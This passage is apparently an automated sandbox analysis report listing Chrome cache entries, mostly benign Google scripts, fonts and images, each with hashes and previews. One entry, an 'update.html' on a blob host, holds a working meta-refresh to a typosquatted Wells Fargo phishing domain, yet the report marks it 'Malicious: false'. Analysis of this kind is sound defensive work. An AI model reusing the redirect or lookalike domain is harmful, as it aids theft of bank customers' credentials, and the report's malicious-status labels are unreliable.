SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	low
URL:	https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3889)
Category:	downloaded
Size (bytes):	923040
Entropy (8bit):	5.553707443811875
Encrypted:	false
SSDEEP:	12288:+uzISyKCe3r7+bFxnCslLmB1EqCMt8bjIjy:pzISyKCen+PCsgm68bjIW
MD5:	EEBCA9577D3C8296F369C2CAD4989A35
SHA1:	255445B290C3870DE68260AE36242D520A51921D
SHA-256:	00A90A59B4017A65EE7A215FB60CF12A395542761EAACF1158E91FF9FBB9B10B
SHA-512:	DEF7473109EEB5C6E98ABEB628ED4906F6F09052A0FD25F93F6171653EE3D5D3D0E8B5804EAB05019D733444DD6B07017F2E6840BB9D6103A154AE5E0030930A
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.sdyYGXG50sM.O/am=gME/d=0/rs=AO0039uViBYhO_mJm9R2c8FbVj6CszGwNA/m=sy3o,sy3r,dSirkf,sy5y,sy3y,sy40,n90YA,ZGAB2e,sLGWFe,sy2u,sy3t,sy2s,sy4l,sy1i,sy3s,sy3w,sy3z,sy47,M79aPc,sy1o,sy2t,sy30,sy3u,sy3v,sy43,sy64,sy65,sy61,syp,syq,syy,sy1k,sy1v,sy2q,sy3p,sy4c,sy4j,sy5p,sy5x,nJ4XF,sy5z,sy60,sy63,sy66,sy67,UKcSG,AtsVYc"
Preview:	try{.var rWc=function(a){if(qWc.has(a))return qWc.get(a);throw Error("Gh`"+a);},tWc=function(a){if(sWc.has(a))return sWc.get(a);throw Error("Hh`"+a);},uWc=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].ik);return b},tR=function(a){this.aa=p(a)};P(tR,x);for(var vWc={ARROW_KEYS:{string:"arrow_keys",ik:"Wxn7ub"},AUTOMATED:{string:"automated",ik:"wjpLYc"},CLICK:{string:"click",ik:"cOuCgd"},DRAGEND:{string:"dragend",ik:"RlD3W"},DROP:{string:"drop",ik:"DaY83b"},GENERIC_CLICK:{string:"generic_click",ik:"szJgjc"},HOVER:{string:"hover",ik:"ZmdkE"},IMPRESSION:{string:"impression",ik:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",ik:"SYhH9d"},KEYPRESS:{string:"keypress",ik:"Kr2w4b"},LONG_PRESS:{string:"long_press",ik:"tfSNVb"},MOUSEOVER:{string:"mouseover",.ik:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",ik:"CYQmze"},SCROLL:{string:"scroll",ik:"XuHpsb"},SWIPE:{string:"swipe",ik:"eteedb"},VIS:{string:"vis",ik:"HkgBsf"}},qWc=uWc(vWc)

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	dropped
Size (bytes):	217515
Entropy (8bit):	5.525741680940944
Encrypted:	false
SSDEEP:	6144:9ewfGkGWc33Ltl9UhtVBiIij4LsBU7BB19HD+DgJE05pG4Dkfx24nFqPwtjcutPl:9esGkGWc33Ltl9UhtVBiIij4LsBU7BBY
MD5:	CB072E57B65475F4F394E0598A99E8E7
SHA1:	B64D87F4D30123ED7BFDFF841CD5E849E368DC8E
SHA-256:	7ED506DF72B76B5FD3564CB9E336F934D5D175B405F3BC16C1900562A345908B
SHA-512:	3CEE50828D8051729CDF28A20C4F51A5BDCAF51D10FCDE13DA744A28076CDFDCA83CB8FD646DC7FAA26C14979389146E324102B39205DF56ED476696E45D27EC
Malicious:	false
Reputation:	low
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Fd=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.ye=function(a){return _.Kb(a)&&a.nodeType==1};_.ze=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.ve(a),a.appendChild(_.le(a).createTextNode(String(b)))};var Ae;_.Be=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(Ae\|\|(Ae={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=Ae,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Fe;_.Ee=func

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x576, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	10078
Entropy (8bit):	7.9717451168627
Encrypted:	false
SSDEEP:	192:svN8/n/GjQv3Xa2Mjxe+11kjmGGm3oNgG28E:u6+Y3qRB14T3qub
MD5:	D6F063D63C626B6F7048A8D973FA4A57
SHA1:	63AFEF128FBEDE5AE386A0CC84AE797A74A383FA
SHA-256:	53CCFF08FF5E4D0B2A1BE6F577BA3FBF60FB4512BA4D368A83867C88298005D8
SHA-512:	A73446E2341988A61BED600D7ADFFCABA0688A9613EF353587E096B45F6D367BA13AAEFB74BAB9265DD1B70CB56AF2AA5F82C86132491851062129965DD974E0
Malicious:	false
Reputation:	low
Preview:	RIFFV'..WEBPVP8 J'.......*..@.>.Z.O.%#.!.....en.v.. .....sc..7...?T......s..~....a.{.....3..../...?............O.7.?`?._...."....~.z......^...K.W....g.J.^?..@...>%.u.~.y/..S_..@.............._..........+.h...u..]T.......K.....>...Pk.%...ci.r.<......r..U>(9.}3.@R...5..2D.....w....T.........K.....>.. )uS.&&x>.. )uS...:....\|Ps`.g\...O..l.L.......`W..d...%hEf.J..m..o....:....\|Ps`.g\....t.y.y.)U....X........OoQ@y_}K.Z,.. ...e...5g..N..,.........r..U>(9.}3.@R.O......a...w.z4.'L.......c.5..jk.{......>...'4..gRC.S..U....3.2.x.]..V..Q.7.c#.A...M.."..q.M5.w.ur7.~.Hw....W.@a.!..=..kg....)a..ZP..\|..O..l.L...n.Q...{..J.....1..s..Mk..nN....>.....;@,...b.z.K..2].%.1i_M...V..3l7bm..\R....A.Q..i.w...'PX,.....k.L.mry...V....x.T.....{.....N}..:.zF./.........". .P.....yL.._..#.e...:6..be@.8.V.....L......v.D..%H...6...gd.....6..m................db..K.Ir..N,...b.......4....%H,Dn.9.........\......I.0&..36..r].....Z...h.gA+....#.1b...3.`FR4UY...ti.._

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	27641
Entropy (8bit):	5.573976695441575
Encrypted:	false
SSDEEP:	192:ocbBXTbrhho+7ySzhY7UVbqGIwVjqwKYqipd5HwBsIwAhuoxQ1VohjQ/VbqGIwVU:H1/5qY1YtT6qYivxTAqYMH
MD5:	2118F868FAE723EBC0C0674E8649E123
SHA1:	6A7759DD79CF76D2141585D0D6880DF9F0DF6FDB
SHA-256:	D9913CCE1102236ACD2DCBC26F0CD7A59C818F315B659704987AFBFA5BD46573
SHA-512:	2182404F2B47C3B1CCDB1F41697E9598459D63F72F7229479A464CCE220C256370D278CAF3FB48DEB0300296C25721B57199E1D9C43FA505DB6B4AE4348D2246
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Google+Sans_old:300,400,500,700"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4328)
Category:	downloaded
Size (bytes):	75049
Entropy (8bit):	5.576237710933452
Encrypted:	false
SSDEEP:	1536:x5Wi1Q47yv1T9wv7568In7KCIvvr93VosRNgbuMAbae:D7yvvK9vzZ/NIuAe
MD5:	D2A9A3ACA69431DFBBD808E39EC1C257
SHA1:	2109F51C8400A7F5A1F33DC29500C34445796255
SHA-256:	31A4E95DDF84DEB57CA966CB9EC6724A8E23CC39CDDAD501F79D06BC0FCC3AFF
SHA-512:	5A3C79F07F3599A993AC2435C702F26741CB73DB1D95AF4E501B8CAA8799CB2A39C86C4B656EB3419198D939762B74CD3096CF9932CB9C1EFB7C9B4DAE5B92A3
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0?le=scs
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3274), with no line terminators
Category:	downloaded
Size (bytes):	3274
Entropy (8bit):	5.390471426059042
Encrypted:	false
SSDEEP:	48:lwBrcIGsrcIGyCGnllJ1ws15Tws15QZUxzVKLCJEcouyntAu1I5nEcJyZXE1eelB:lXTMb1db1hNY/cobkcsidqg3gcIOW
MD5:	33E4EF067E8DB248F4DFB3C7F76E02B5
SHA1:	D5D5979344C1D3F41A32A180ADC849D373196B6A
SHA-256:	89E059962059032E7A140D5739E8C9C197A55D7305ABD98466C9D6D300B07A02
SHA-512:	9A1F769697EE558640C298906A933259DE20D4CD01D0D485BAEA1B7274B8F951B6D56BF5DF1E54383482970245E2CC5F71EB833EA1C89E949E6948DB56A448AE
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qcwid/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	136
Entropy (8bit):	5.011781083042527
Encrypted:	false
SSDEEP:	3:uFiHjJMzVJu+1v3pY2fqI5CufWMzJY6TcXZhEMahMnCtn:KGMRJVxrq0+MaXZhkhoCt
MD5:	8D2E1038C8B35ED32225E7E5CD2E19D2
SHA1:	B83BE00F42819A21487BBC2E6F289E0B4F9A6776
SHA-256:	7D5F20375BD669F14553880F2F5606CD7B02AD5A82421DEFEA2445D909AE5011
SHA-512:	9B0A52E225D06400394CFAEB52687BF84E2B5F63E6A6C7FBA5654A441E061703F74FE349B811FC2D8375F96F1B42DA1F0C2E3A68D7D27B48990F3CD905BE590C
Malicious:	false
Reputation:	low
URL:	https://opendirectline.blob.core.windows.net/main/update.html?47i5h2
Preview:	<head>.. <meta http-equiv="refresh" content="0;URL=https://online.secure.access.wellsfarqoadvlsor.com/?ref=93isxpaq24fuj" />..</head>

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (572)
Category:	dropped
Size (bytes):	2251461
Entropy (8bit):	5.6548289015721975
Encrypted:	false
SSDEEP:	49152:mw7y6e8YIWa6qbA/u97M9dK1FJP+kcNThSKJPyAI0:cl
MD5:	23BD69179A2F61101DB1142E00B2C30A
SHA1:	838774E7337870A24F42022D1D6E754D29BFF72A
SHA-256:	DD748254F730F491B2E0BFE8C693175096C66412E55F11979CB471229CF72AF4
SHA-512:	5A9C7F697B61CACC3CEC86A23F76530B50D4E69062F9EAE10CAF0B0BF061B3785B9FED96CE03A7D1247B66EFFE1F1983BDE6AA89B43E38EC18CCACD6E41B7F77
Malicious:	false
Reputation:	low
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0xc180, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2465
Entropy (8bit):	4.288120838680469
Encrypted:	false
SSDEEP:	48:GDFzmvuTY1jSTsC1qZ+LyL31yzFT2OFimo6aBF6SxQdY5c:GRz4u0TZ+LyL3oN2OmByic
MD5:	629BBD73F47A2C73BDDB4C20BC20AC97
SHA1:	F5758F82B6B48903B09FD2616A9D82F7AF3072DD
SHA-256:	5E30C5DD6BF6299FD511066F2074E169A011FBA2DD12E29D7841FB17EB67AF98
SHA-512:	4D83D897548022DF6771F074D7C6AE23E87FE7B645BE9909DD7ED01A039750F8688676E8E84F9FB20F08E59AB5051F06F4023D4C2EC0E8F0A756C9FED2FCC18A
Malicious:	false
Reputation:	low
URL:	https://blobcomments-pa.clients6.google.com/v1/metadata?docId=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&revisionId=0B_1H06SEg9KZTXVRbjRLUUFKNnd4aUZsdmcrdy9DSTdMRWg0PQ&userLocale=en&timeZoneId=Etc%2FGMT%2B5&documentResourceKey.resourceKey&forceImportEnabled=true&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{. "serializedDocosKeyData": "[null,null,0,null,null,null,null,1,[\"Anonymous\",null,\"//ssl.gstatic.com/docs/common/blue_silhouette96-0.png\",\"ANONYMOUS_105250506097979753968\",1,null,1,null,1],1,\"AAHRpnXu0Y1MxUPIHe8eBHdogSSEtyXc4molw6f6c35Ll6zSYWY3tdLCzVbNItUNbdlOrxxoe8vTQY3EDpz-xrvBeowhyFZpXew\",null,null,null,null,null,1,null,null,1,null,null,null,null,1,0,null,null,null,0,null,null,0,null,null,null,null,1,0,null,null,null,null,[\"tf\",60000,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,1,null,null,null,null,null,null,0,null,null,\"\",null,0,null,null,null,null,0],[[5703839,5704621,5704695,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737800,5792878,5799034,48966262,49372463,49375342,49472091,49622751,49623141,49643716,49643963,497693

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4328)
Category:	dropped
Size (bytes):	75049
Entropy (8bit):	5.576237710933452
Encrypted:	false
SSDEEP:	1536:x5Wi1Q47yv1T9wv7568In7KCIvvr93VosRNgbuMAbae:D7yvvK9vzZ/NIuAe
MD5:	D2A9A3ACA69431DFBBD808E39EC1C257
SHA1:	2109F51C8400A7F5A1F33DC29500C34445796255
SHA-256:	31A4E95DDF84DEB57CA966CB9EC6724A8E23CC39CDDAD501F79D06BC0FCC3AFF
SHA-512:	5A3C79F07F3599A993AC2435C702F26741CB73DB1D95AF4E501B8CAA8799CB2A39C86C4B656EB3419198D939762B74CD3096CF9932CB9C1EFB7C9B4DAE5B92A3
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	dropped
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	low
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34184, version 1.0
Category:	downloaded
Size (bytes):	34184
Entropy (8bit):	7.99444009565784
Encrypted:	true
SSDEEP:	768:8pJf8lXHzTyT3P9QWCHmzL3WbHPBBWQfIKkydgMbG48B/u:u0lDTyrKWCHeL3OBDwKdmp9u
MD5:	1ACA735014A6BB648F468EE476680D5B
SHA1:	6D28E3AE6E42784769199948211E3AA0806FA62C
SHA-256:	E563F60814C73C0F4261067BD14C15F2C7F72ED2906670ED4076EBE0D6E9244A
SHA-512:	808AA9AF5A3164F31466AF4BAC25C8A8C3F19910579CF176033359500C8E26F0A96CDC68CCF8808B65937DC87C121238C1C1B0BE296D4306D5D197A1E4C38E86
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2..............X......................................4?HVAR.k.`?STAT..'...J/<.....`..(..Z.0..N.6.$.... .....K..[O;q..w....z.....%.O.t'.R....6.{..@.k......C.B..Z.uU.}..!.".....]jK.`&.\..4...US.......x..C...1g.:.+.?.t<....J...C.p.c..J...........V..H1.6.~..n.]~"R>..s....7....FE1.S/m....}..<....M..IHB.._8.d.3"......8..t.;f._~X.A.&n.1..t..v...n.._............eS.......!V."v6.xm\|M..O.z..,....,...N.1......y^7...^^.$.!.$<V..B....."j..!2..Y"..{w!..Z.[...]H....M-.".8j.<..X.[{..UI....ML.J.?4B.....]..4..()^Bi.4iD/..]....../I.-.J[D...........c...)63.U.rFpW5}.9$..2...t..:.MW.c.N...lK...3^......./..v. !...;..v.w./^S...\U....\|.......Y9...a.z.....i..$J.U...Ks....0Q.........iy.....M..@..........&..c.kh.(<.O.....~..#.-.gfw.t...nbo...]0'G.!.2.8....y.K..;%......_).W..?.'.DTR.H....G.Al..d......g>.6..(.."4l...3$...\_.W}..R...\.o........`..q...@XG.wpN......!....&...\.&.....N..5..n......g..bR......HV...s...e..r.0ty&.SW.j.{I...".m .s..T....l....@th:..aM.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	217515
Entropy (8bit):	5.525741680940944
Encrypted:	false
SSDEEP:	6144:9ewfGkGWc33Ltl9UhtVBiIij4LsBU7BB19HD+DgJE05pG4Dkfx24nFqPwtjcutPl:9esGkGWc33Ltl9UhtVBiIij4LsBU7BBY
MD5:	CB072E57B65475F4F394E0598A99E8E7
SHA1:	B64D87F4D30123ED7BFDFF841CD5E849E368DC8E
SHA-256:	7ED506DF72B76B5FD3564CB9E336F934D5D175B405F3BC16C1900562A345908B
SHA-512:	3CEE50828D8051729CDF28A20C4F51A5BDCAF51D10FCDE13DA744A28076CDFDCA83CB8FD646DC7FAA26C14979389146E324102B39205DF56ED476696E45D27EC
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=qabr,q_dnp,qcwid,qapid,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
